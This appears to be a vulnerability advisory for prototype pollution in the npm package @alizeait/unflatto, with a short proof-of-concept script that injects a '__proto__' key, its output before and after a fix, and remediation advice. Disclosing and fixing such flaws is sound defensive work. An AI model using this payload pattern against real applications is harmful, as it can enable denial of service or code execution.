All versions of this module are potentially affected by prototype pollution. The vulnerability located at exports.unflatto (@alizeait/unflatto/dist/index.js:1) as the property of the source unsafely assigned to the destination. An attacker can be exploit this method to inject malicious payload via the built-in Object through the special properties __proto__ or constructor.prototype.
Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service,
remote code execution or cross-site scripting attacks.
(async () => {
const lib = await import('@alizeait/unflatto');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.default.unflatto ({ "__proto__.polluted": true})
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();Output
Before Attack: {}
After Attack: {"polluted":true}Output of a successful fix
Before Attack: {}
After Attack: {}Assign or copy a property should only be applied an own property of the destination object, thus, check for that (e.g using hasOwnProperty) is sufficient. Alternatively, block the property names __proto__ or constructor assigned.